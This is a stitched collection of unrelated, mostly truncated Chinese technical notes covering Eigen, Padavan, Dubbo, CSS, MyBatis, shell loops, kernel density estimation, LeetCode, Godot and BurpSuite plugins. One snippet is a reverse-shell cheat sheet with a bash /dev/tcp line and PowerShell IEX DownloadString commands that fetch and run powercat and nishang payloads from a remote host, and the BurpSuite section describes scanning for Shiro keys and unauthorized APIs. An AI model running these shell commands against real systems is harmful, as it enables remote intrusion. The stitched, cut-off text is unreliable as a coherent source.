在使用动态矩阵的时候发现一个问题,在无法知道大小的时候直接初始化
int rows,cols;//从其他地方获取的尺寸行列数
Eigen::MatrixXf tmp_mat;
tmp_mat=Eigen::Matrix<float,rows,cols>::Zero();
会报错提示,初始化的时候必须使用const常量
这里的rows,cols必须使用常量,不能使用变量。
但是这个时候不知道应该是多少数值。所以可以如下使用:
int rows,cols;//从其他地方获取的尺寸行列数
Eigen::MatrixXf tmp_mat;
tmp_mat=Eigen::Matrix<float,Dynamic,Dynamic>();
tmp_mat.resize(rows,cols);
1、Padavan挂载SMB共享
cd /media/ modprobe des_generic modprobe cifs CIFSMaxBufSize=64512 mkdir ssk1 ssk6 ssk7 mount -t cifs //192.168.2.1/SSK_usb1_7 /media/ssk7/ -o username=guest mount -t cifs //192.168.2.1/SSK_usb1_1 /media/ssk1/ -o username=guest mount -t cifs //192.168.2.1/SSK_usb1_6 /media/ssk6/ -o username=guest 2、为Padavan编译ffmpeg
下载源码
mkdir -p ~/git/ffmpeg-git/ cd ~/git/ffmpeg-git/ git clone https://gitee.com/xjwangjie/libfaac.git git clone https://gitee.com/mirrors/ffmpeg.git cd ffmpeg git co release/2.0 编译libfaac
export PATH=/home/wuwj/git/rt-n56u/toolchain-mipsel/toolchain-3.4.x/bin/:$PATH cd ~/git/ffmpeg-git/libfaac ./configure --host=mipsel-linux-uclibc --prefix=/home/wuwj/git/ffmpeg-git/libfaac/install make;make install 编译ffmpeg
cd ~/git/ffmpeg-git/ffmpeg/ ./configure --prefix=/home/wuwj/git/ffmpeg-git/ffmpeg/install_mips/ --enable-cross-compile --cross-prefix=mipsel-linux-uclibc- --arch=mipsel --target-os=linux --enable-shared --enable-gpl --enable-version3 --enable-libfaac --enable-nonfree --disable-static --disable-doc --disable-ffplay --disable-ffserver --extra-libs="
问题 消费者使用mock=“true”,想调用TestServiceMock进行服务降级无法调用
原因 我的项目结构如下,首先要知道服务降级代码应该是谁执行的,服务降级是服务消费者也就是controller包处对应的服务执行的,因为我只是测试dubbo怎么使用,所以并没有分多模块,但完全可以把一个包理解为一个模块,再看下面配置文件
为什么可以把一个包当成一个模块呢,因为我把配置文件的scan改成controller包然后启动一个服务器,即消费者,如果把scan改成service则可以启动服务提供者服务器,但是网上的都让我把TestServiceMock类放在TestService接口同目录下,但该目录的包消费者并不会扫描,所以无法执行,有两种解决方案,一种将TestServiceMock放在controller包,一种将TestController中的mock=”true“改为 mock = “com.lolxxs.service.TestServiceMock”),即是写上服务降级要调用的类的全限定类名
application.yml
server: port: 9002 spring: dubbo: application: name: springboot-dubbo-consumer registry: address: zookeeper://127.0.0.1 port: 2181 protocol: name: dubbo port: 20890 scan: com.lolxxs.controller 解决方案1 将TestServiceMock放在controller包
TestServiceMock类
package com.lolxxs.service; import com.lolxxs.service.TestService; public class TestServiceMock implements TestService { @Override public String testDubbo() { System.out.println("降级运行"); return "111111"; } } 解决方案2 将TestController中的mock=”true“改为 mock = “com.lolxxs.service.TestServiceMock”)
package com.lolxxs.controller; import com.alibaba.dubbo.config.annotation.Reference; import com.alibaba.dubbo.rpc.RpcContext; import com.lolxxs.service.TestService; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.
UI网站大合集 设计网站 综合设计导航网站 https://hao.shejidaren.com/
优阁设计导航 http://so.uigreat.com/
91搜设计导航网站 https://www.91sotu.com/
LACKK设计导航 http://n.lackk.com/
花瓣 http://huaban.com/
站酷 http://www.zcool.com.cn/
美叶 https://www.meiye.art/
优设 http://www.uisdc.com/
UI中国 http://www.ui.cn/
学UI网 http://www.xueui.cn/
SooUI http://www.sooui.com/
豆皮儿UI https://www.doupir.com/
盒子UI http://www.boxui.com/
爱果果 https://www.iguoguo.net/
云瑞设计 https://www.yrucd.com/
优优教程灵感 https://uiiiuiii.com/
美工云 http://meigongyun.com/ui/
XD-ui https://www.xdguru.com
90设计 http://90sheji.com/
UIbundle免费素材 https://uibundle.com/
sketch中国社区 http://www.sketchchina.com/
sketch中文网 http://www.sketchcn.com/
CND中国设计网 http://www.cndesign.com/
68design http://www.68design.net/
视觉中国 https://www.vcg.com/
海洛图库 http://www.hellorf.com/
7mx图库 https://7mx.com/
全景图库 http://www.quanjing.com/
配色网站 中国风配色 http://zhongguose.com/
Adobe Color https://color.adobe.com/zh/
Color Hunt 配色 https://colorhunt.co/
配色表 http://www.
Matrix基本使用 Eigen概述 - Go吧LpengSu | Blog (yueyuebird-su.github.io)
Eigen 学习笔记(一)_逐梦者-CSDN博客_eigen
Eigen中Matrix 与Vector相似
Matrix<typename Scalar, //类型 int RowsAtCompileTime, int ColsAtCompileTime, int Options = 0, //默认是列优先 int MaxRowsAtCompileTime = RowsAtCompileTime, int MaxColsAtCompileTime = ColsAtCompileTime> 基本运算 支持相同维数矩阵加减
支持乘除标量数
乘法(*)是矩阵乘法,不是对应元素相乘
基本方法 求转置、共轭矩阵、伴随矩阵 m.transpose(); m.conjugate(); m.adjoint(); 注意: 不能是 m=m.transpose();//因为会在转置运算结束之前就开始把结果写进a 所以必须是: b=a.transpose(); 其他用法 v.dot(w); //点乘 v.cross(w);//叉乘 Eigen::Matrix2d mat; mat << 1, 2, 3, 4; cout << "Here is mat.sum(): " << mat.sum() << endl; cout << "
这篇文章主要使用Shell脚本循环读取文件每一行内容的方法总结;
1.使用while循环,效率最高,最常用的方法
while read -r line do echo $line done < filename 2.利用for循环的方法
for line in `cat filename` do echo $line done 或
for line in $(cat filename) do echo $line done While循环中read命令从标准输入中读取一行,并将内容保存到变量line中。在这里,-r选项保证读入的内容是原始的内容,意味着反斜杠转义的行为不会发生。输入重定向操作符< file打开并读取文件file,然后将它作为read命令的标准输入。
3.重定向管道法
cat filename | while read line do echo $line done 4.文件描述符法
exec 3<&0 exec 0< $FILENAME while read LINE do echo $LINE done exec 0<&3 此方法分为两步,第一,通过将所有内容重定向到文件描述符3来关闭文件描述符0.第二步将输入文件放送到文件描述符0,即标准输入。
1 分布密度函数 给定一个样本集,怎么得到该样本集的分布密度函数,解决这一问题有两个方法:
1.1 参数估计方法 简单来讲,即假定样本集符合某一概率分布,然后根据样本集拟合该分布中的参数,例如:似然估计,混合高斯等,由于参数估计方法中需要加入主观的先验知识,往往很难拟合出与真实分布的模型; 1.2 非参数估计 和参数估计不同,非参数估计并不加入任何先验知识,而是根据数据本身的特点、性质来拟合分布,这样能比参数估计方法得出更好的模型。核密度估计就是非参数估计中的一种,由Rosenblatt (1955)和Emanuel Parzen(1962)提出,又名Parzen窗(Parzen window)。Ruppert和Cline基于数据集密度函数聚类算法提出修订的核密度估计方法。
2 直方图到核密度估计 给定一个数据集,需要观察这些样本的分布情况,往往我们会采用直方图的方法来进行直观的展现。该直方图的特点是简单易懂,但缺点在于以下三个方面:(1)密度函数是不平滑的;(2)密度函数受子区间(即每个直方体)宽度影响很大,同样的原始数据如果取不同的子区间范围,那么展示的结果可能是完全不同的。如下图中的前两个图,第二个图只是在第一个图的基础上,划分区间增加了0.75,但展现出的密度函数却看起来差异很大;(3)直方图最多只能展示2维数据,如果维度更多则无法有效展示。
除此之外,直方图还存在一个问题,那就是直方图展示的分布曲线并不平滑,即在一个bin中的样本具有相等的概率密度,显然,这一点往往并不适合。解决这一问题的办法时增加bins的数量,当bins增到到样本的最大值时,就能对样本的每一点都会有一个属于自己的概率,但同时会带来其他问题,样本中没出现的值的概率为0,概率密度函数不连续,这同样存在很大的问题。如果我们将这些不连续的区间连续起来,那么这很大程度上便能符合我们的要求,其中一个思想就是对于样本中的某一点的概率密度,如果能把邻域的信息利用起来,那么最后的概率密度就会很大程度上改善不连续的问题,为了方便观察,我们看另外一副图。 一个很自然的想法是,如果我们想知道X=x处的密度函数值,可以像直方图一样,选一个x附近的小区间,数一下在这个区间里面的点的个数,除以总个数,应该是一个比较好的估计。用数学语言来描述,如果你还记得导数的定义,密度函数可以写为:
现在我们假设要求x处的密度函数值,根据上面的思想,如果取 x 的邻域[x-h,x+h],当h->0的时候,我们便能把该邻域的密度函数值当作x点的密度函数值。用数学语言写就是:
是该邻域中的样本点数量,样本集的总数量,最后对该邻域内的密度值取平均便得到 x 点的密度函数值f(x)。把上面的式子进行改写,即:核密度估计(Kernel density estimation),是一种用于估计概率密度函数的非参数方法,为独立同分布 F 的n 个样本点,设其概率密度函数为 f:
这里 h 如果选的太大,肯定不符合 h 趋向于 0 的要求。h 选的太小,那么用于估计 f(x) 的点实际上非常少。这也就是非参数估计里面的 bias-variance tradeoff,也就是偏差和方差的平衡。这样后还是存在一个问题,那就是概率密度函数依然不够平滑(因为两个数之间的存在无数个数)。
记 ,那么:
由于需要满足概率密度的积分为1,所以:
也就是要满足 K(t) 的积分等于1也就满足了的积分为1。如果把 K(t) 当作其他已知的概率密度函数,那么问题就解决了,最后的密度函数也就连续了。
2.1 核函数 从支持向量机、meansift都接触过核函数,应该说核函数是一种理论概念,但每种核函数的功能都是不一样的,这里的核函数有uniform,triangular, biweight, triweight, Epanechnikov,normal等。这些核函数的图像大致如下图: 有言论称Epanechnikov 内核在均方误差意义下是最优的,效率损失也很小。由于高斯内核方便的数学性质,也经常使用 K(x)= ϕ(x),ϕ(x)为标准正态概率密度函数。 从上面讲述的得到的是样本中某一点的概率密度函数,那么整个样本集应该是怎么拟合的呢?将设有N个样本点,对这N个点进行上面的拟合过后,将这N个概率密度函数进行叠加便得到了整个样本集的概率密度函数。例如利用高斯核对X={x1=−2.1,x2=−1.3,x3=−0.4,x4=1.9,x5=5.1,x6=6.2} 六个点的“拟合”结果如下:
在直方图中,横轴间隔为2,数据落到某个区间,此区间y轴增加1/12。
在核密度估计中,另正态分布方差为2.25,红色的虚线表示由每一个数据得到的正态分布,叠加一起得到核密度估计的结果,蓝色表示。
那么问题就来了,如何选定核函数的“方差”呢?这其实是由h来决定,不同的带宽下的核函数估计结果差异很大,如下图:
(Kernel density estimate (KDE) with different bandwidths of a random sample of 100 points from a standard normal distribution.
1 知道确定的行或列坐标 提取行:Y=X(行数,:)
如果行数连续:Y=X(起始行:终止行,:)
如果行数不连续:Y=X([行1,行2,...],:)
提取列类似
案例:
>> X = magic(6) X = 35 1 6 26 19 24 3 32 7 21 23 25 31 9 2 22 27 20 8 28 33 17 10 15 30 5 34 12 14 16 4 36 29 13 18 11 >> Y=X([1,3],:) Y = 35 1 6 26 19 24 31 9 2 22 27 20 >> Y=X(1:3,:) Y = 35 1 6 26 19 24 3 32 7 21 23 25 31 9 2 22 27 20 >> Y=X(:,[2,4]) Y = 1 26 32 21 9 22 28 17 5 12 36 13 >> Y=X(:,1:3) Y = 35 1 6 3 32 7 31 9 2 8 28 33 30 5 34 4 36 29 2 满足条件的行或列坐标 2.
#查看日志后 100 行 tail -n 100 catalina.log //不增长 tail -fn 100 catalina.log //增长 #查看日志前 100 行 head -n 100 catalina.log #根据关键字查询 tail -fn 100 catalina.log | grep "key-word" #查看关键字所在行 cat -n catalina.log | grep "key-word" #查关键字后10行 tail -fn 100 catalina.log | grep -A 10 "key-word" #查关键字前20行 tail -fn 100 catalina.log | grep -B 20 "key-word" #查关键字前后各10行 tail -fn 100 catalina.log | grep -C 10 "key-word" #根据行号查询前后几行(行号100,查前20、后10行) cat -n catalina.log |tail -n +80 | head -n 30 //从第80行开始往后30行 #根据时间查询日志(> /log.
CSS 的常用单位 在了解移动端适配前,我们需要了解css中常用的单位
1、像素(px) 绝对长度单位,相对于显示器屏幕分辨率而言的。
2、百分比(%) 百分比(动态单位),相对于父元素的宽度或者字体的大小
3、em em 是一个动态单位,相对于当前对象内文本字体的大小
1em = 当前字体的大小, 2em = 2*当前字体的大小
em特点
1、当前元素设置了字体大小, 那么就相对于当前元素的字体大小
2、当前元素没有设置字体大小, 那么就相当于第一个设置字体大小的祖先元素的字体大小
3、如果当前元素和所有祖先元素都没有设置大小, 那么就相当于浏览器默认的字体大小 google的是16px
4、rem (root em)是一个动态的单位 ,相对于 html 标签的字体大小
rem和em的区别在于, rem是一个相对于根元素字体大小的单位
rem 的计算公式 获取比值:设备尺寸/设计图尺寸
例如:设备宽度尺寸为 375px 、设计图尺寸为750px,计算获得比值为0.5,量得设计图上某个图片元素宽度为 100px,实际在375px宽度的设备上此元素为 100 * 0.5 = 50 px。
故:
设置html 下font-size 默认值为 0.5px,为了计算方便一般会以100倍计算,也就是50px,如下:
@media screen and (min-width:375px) { // 在屏幕大于375px时都使用 1rem == 50px html { font-size: 50px; } } 如上,此时在375的设备上 1rem = 50px
1、采用MapperScannerConfigurer,它将会查找类路径下的映射器并自动将它们创建成MapperFactoryBean。
spring-mybatis.xml:
<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p" xmlns:context="http://www.springframework.org/schema/context" xmlns:mvc="http://www.springframework.org/schema/mvc" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.1.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.1.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc-4.0.xsd"> <!-- 自动扫描 --> <context:component-scan base-package="com.hua.saf" /> <!-- 引入配置文件 --> <bean id="propertyConfigurer" class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer"> <property name="location" value="classpath:jdbc.properties" /> </bean> <bean id="dataSource" class="org.apache.commons.dbcp.BasicDataSource" destroy-method="close"> <property name="driverClassName" value="${driver}" /> <property name="url" value="${url}" /> <property name="username" value="${username}" /> <property name="password" value="${password}" /> <!-- 初始化连接大小 --> <property name="initialSize" value="${initialSize}" /> <!-- 连接池最大数量 --> <property name="maxActive" value="${maxActive}" /> <!-- 连接池最大空闲 --> <property name="
代码实现
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> .table{ margin: 50px auto; font-size: 25px; width: 400px; height: 100px; } </style> </head> <body> <table class="table" border="2" align="center"> <tr> <td colspan="4"> <input type="button" value="全选" onclick="change('1')" name="schange"> <input type="button" value="全不选" onclick="change('2')" name="schange"> <input type="button" value="反选" onclick="change('3')" name="schange"> </td> </tr> <tr> <td> <input type="checkbox" name="name"> </td> <td>1</td> <td>张三</td> <td>18</td> </tr> <tr> <td> <input type="checkbox" name="name"> </td> <td>2</td> <td>李四</td> <td>19</td> </tr> <tr> <td> <input type="
1.nc反弹shell 远程服务器 nc 监听命令
nc -vlnp 8080 受害者反弹 shell 命令,每种语言都有 sock 连接命令,可以根据不通过的环境,选择合适的命令。
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
2.powershell反弹cmd powercat是netcat的powershell版本
下载地址 https://github.com/besimorhino/powercat
powercat是netcat的powershell版本 所以可以放在可被访问的远程服务器上。执行命令的时候,自动下载执行。 http://192.168.0.195/powercat.ps1 powershell IEX (New-Object
System.Net.Webclient).DownloadString(‘http://192.168.0.195/powercat.ps1’);
powercat -c 192.168.0.195 -p 8888 -e cmd
3.nishang反弹shell Reverse TCP shell 在自己的服务上搭建下载
http://192.168.0.195/nishang/Shells/Invoke- PowerShellTcp.ps1 目标机执行:
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.195/nishang/Shells/Invoke- PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.0.195 -port 6666 Reverse UDP shell powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.195/nishang/Shells/Invoke- PowerShellUdp.ps1'); Invoke-PowerShellUdp -Reverse -IPAddress 192.168.0.195 -port 53 perl -e ‘use
el-table自带属性:
设置reserce-selection为true,可支持跨页多选。
自行实现反显选中:
// 接口请求当页数据后进行选中操作 // 反显选中 this.$nextTick(() => { this.toggleRowSelect = true; // 记录是否是反显选中操作,因为选中改变会触发@selection-change事件 // tableData当页数据 multipleSelection需要反显的数据(已经选中的) this.$refs.table && this.tableData.forEach(row => { let selectRow = this.multipleSelection.find(item => item.signalCode === row.signalCode); // 注意:toggleRowSelection传的row一定是表格数据中的某一行数据 this.$refs.table.toggleRowSelection(row, selectRow ? true : false); }) this.toggleRowSelect = false; }) // @selection-change事件函数 handleSelectionChange(val) { // 如果是反显选中操作 不做处理 if(this.toggleRowSelect) { return; } this.multipleSelection = val; }, 至此完成
路漫漫其修远兮,吾将上下而求索!
前言:本文简述了总体制作流程,具体细节请参考文章最后的链接
目标:安装VS的电脑有可能是没有网络的,但VS2017官方没有提供离线版本,需要自行制作
步骤:
请仔细阅读微软官网关于离线下载使用的说明,链接如下:
https://docs.microsoft.com/en-us/visualstudio/install/create-an-offline-installation-of-visual-studio?view=vs-2022
意味着不能通过运行 vs_Community.exe 界面的方式来下载离线包,它只能本机使用。
下面链接是关于下载时的命令参数,重点关注红色部分。
https://docs.microsoft.com/en-us/visualstudio/install/use-command-line-parameters-to-install-visual-studio?view=vs-2022
includeRecommended;includeOptional 代表的是当前模块下的推荐项和可选项。类似于:
如果这两项不设置的话,下载的包C++ 模块组件会缺失。
第一次下载的时候没有加这两个参数,安装完成之后组件会少,想单独下载小组件如下:
但用add ID 会报错:未发现包XXX....,最好老老实实的加上了,当然包会大一些。
下载命令: vs_Community.exe --layout D:\VS2017_Community_Offline4 --lang zh-CN --add Microsoft.VisualStudio.Workload.CoreEditor;includeRecommended;includeOptional --add Microsoft.VisualStudio.Workload.NativeDesktop;includeRecommended;includeOptional --add Microsoft.VisualStudio.Workload.Universal;includeRecommended;includeOptional --add Microsoft.VisualStudio.Workload.VisualStudioExtensionBuildTools;includeRecommended;includeOptional CoreEditor:基础必须下载
NativeDesktop:使用 C++ 进行桌面开发 Universal:通用 Windows 平台构建工具
VisualStudioExtensionBuildTools:扩展开发
下载完大概有10G,左右
安装:
(1) 先安装证书
(2) 运行vs_setup.exe,直接确定
(3) 安装完成之后,注册VS2017
参考链接:
https://blog.csdn.net/u012814856/article/details/81096294
https://yapingxin.github.io/2017/03/08/Visual-Studio-2017-Offline-Installer/
https://www.microsoft.com/en-us/download/details.aspx?id=48137
https://visualstudio.microsoft.com/zh-hant/vs/support/visual-studio-requires-net-framework-4-6-higher/
https://www.cnblogs.com/com-xiaolanchong/p/12778570.html
https://download.csdn.net/download/xinqingwuji/15872317
1、推荐使用java8的新特性,Stream流
如下例所示:根据用户的性别和地址进行去重
package org.springblade.dataReporting.test; import org.springblade.dataReporting.dto.User; import java.util.ArrayList; import java.util.Comparator; import java.util.List; import java.util.TreeSet; import java.util.stream.Collectors; public class test { public static void main(String[] args) { List<User> lists =new ArrayList<>(); User user1=new User("张三",18,"北京","男"); User user2=new User("李四",19,"杭州","男"); User user3=new User("小芳",13,"深圳","女"); User user4=new User("小花",11,"杭州","女"); User user5=new User("小丹",19,"深圳","女"); lists.add(user1); lists.add(user2); lists.add(user3); lists.add(user4); lists.add(user5); lists = lists.stream().collect(Collectors.collectingAndThen(Collectors.toCollection(() -> new TreeSet<>(Comparator.comparing(o -> o.getSex() + "#" + o.getAddr()))), ArrayList::new)); for (User user:lists){ System.out.println(user); } } } 输出结果如下
一、题目 给你一个按非递减顺序 排序的整数数组 nums,返回每个数字的平方组成的新数组,要求也按非递减顺序 排序。
示例 1:
输入:nums = [-4,-1,0,3,10]
输出:[0,1,9,16,100]
解释:平方后,数组变为 [16,1,0,9,100]
排序后,数组变为 [0,1,9,16,100]
示例 2:
输入:nums = [-7,-3,2,3,11]
输出:[4,9,9,49,121]
提示:
1 <= nums.length <= 104
-104 <= nums[i] <= 104
nums 已按 非递减顺序 排序
进阶:
请你设计时间复杂度为 O(n) 的算法解决本问题
来源:力扣(LeetCode)
链接:https://leetcode-cn.com/problems/squares-of-a-sorted-array
二、思路 思路一:先对数组中每个数字全部进行平方,然后进行一次排序,这样的时间复杂度为max{平方的时间复杂度On+排序的时间复杂度},最低也是Onlog的级别思路二:先找到负数和正数的分界点,使用两个指针,一个指针往负数走,一个往正数走,每次比较两个指针指向元素的绝对值大小,绝对值小的数字进行平方后放进ans数组中,然后此指针加一,直到一个指针走到尽头,再将最后一个指针指向的每一个元素全部加入到ans数组中。时间复杂度为查找分界点On+快慢指针移动到头的时间On,时间复杂度为On级别 三、C语言代码 思路二:
/** * Note: The returned array must be malloced, assume caller calls free(). */ int* sortedSquares(int* nums, int numsSize, int* returnSize){ int* ans = (int *) malloc(numsSize*sizeof(int)); int left=0,right=0,count=0; while(nums[right]<0&&right<numsSize-1) right++; left = right-1; while(left>-1&&right!
一、说明 本文章转载自知乎:一篇看懂!Linux磁盘的管理(分区、格式化、挂载),LVM逻辑卷;如有错误,欢迎留言指正!
二、基础过程 这里我们使用一台虚拟机来演示过程
1、分配磁盘 2、磁盘相关命令 2.1 查看磁盘信息 可以看到,我们这台虚拟机现在有三块磁盘: /dev/sdb /dev/sdc /dev/sdd 未作任何操作的
fdisk -l [root@localhost ~]# fdisk -l Disk /dev/sda: 21.5 GB, 21474836480 bytes, 41943040 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk label type: dos Disk identifier: 0x0004a0b9 Device Boot Start End Blocks Id System /dev/sda1 * 2048 2099199 1048576 83 Linux /dev/sda2 2099200 41943039 19921920 8e Linux LVM Disk /dev/sdb: 10.
Godot 3.4.2
快速方便的添加菜单,下面代码中,运行后会创建两个菜单 File、Edit
## 菜单列表 extends HBoxContainer const MenuKey = { "MenuName": "menu_name", 'ScanCode': "scancode", "Control" : 'control', "Command" : 'Command', "Shift": "shift", "Alt": "alt", } ## 通过添加修改下面的数据进行添加菜单 const MenuData = { "File": [ { MenuKey.MenuName: "Open Project", # 菜单子项的名称 MenuKey.ScanCode: KEY_O, # 需要字符 O MenuKey.Control: true, # 需要ctrl 键 }, {MenuKey.MenuName: "---"}, # 开头为 --- 的为分隔符 { MenuKey.MenuName: "Exit", MenuKey.ScanCode: KEY_E, MenuKey.Control: true, }, ], "Edit": [ { MenuKey.
BurpSuite渗透辅助插件Burp Extensions
BurpSuite 相关收集项目,插件主要是非BApp Store(商店)
插件的安装
JAVA编写的插件:
Python编写的插件:
Python编写的插件,需要使用Jython。Jython本质上是一个Java应用程序,Jython允许编码人员使用Java编码调用Python库。也可以使用Python调用Java的库。
Jython下载地址:
https://www.jython.org/download 下载好之后,添加到Burp。
导入Python编写的插件,导入方法和Java相同。
ApiKit
插件地址:
https://github.com/API-Security/APIKit 插件介绍:
APIKit是基于BurpSuite提供的JavaAPI开发的插件。
APIKit可以主动/被动扫描发现应用泄露的API文档,并将API文档解析成BurpSuite中的数据包用于API安全测试。
目前APIKit v1.0支持的API技术的指纹有:
GraphQL OpenAPI-Swagger SpringbootActuator SOAP-WSDL 安装方法:
打开BurpSuite页面,点击Extender然后选择Extensions,添加APIKit.jar。
然后APIKit会对进入到BurpSuite的流量进行被动扫描。解析完成后可以在APIKit面板查看结果,同样Burpsuite的DashBoard也会有issue提示。
配置说明:
默认情况下Request和Cookie都不开启
Auto Request Sending
选择开启Auto Request Sending后,可以对子API进行自动化鉴权测试,快速发现API未授权访问漏洞。
Send with Cookie
开启Cookie,可以把包的Cookie存下来,生成请求的时候保留Cookie。
使用方法:
被动扫描
默认情况下流经BurpSuite的流量都会进行API探测解析和扫描。
主动扫描
在任何一个Burpsuite可以右键打开更多选项的页面中,都可以点击右键,选择Do API scan来发起一次主动扫描。
API漏洞自动扫描
所有与BurpSuite联动的工具均可联动APIKit。比如xray。(具体方法见github)
BurpShiroPassiveScan
插件地址:
https://github.com/pmiaowu/BurpShiroPassiveScan 插件介绍:
一款基于BurpSuite的被动式shiro检测插件
该插件会对BurpSuite传进来的每个不同的域名+端口的流量进行一次shiro检测
目前的功能如下:
shiro框架指纹检测
shiro加密key检测
检测方法:
检测原理: > https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ
使用方法
正常的访问网站,访问访问完毕以后, 插件就会自动去进行扫描,如果有结果那么插件就会在以下地方显示
·Extender
·Scanner-Issue activity
tag界面查看漏洞情况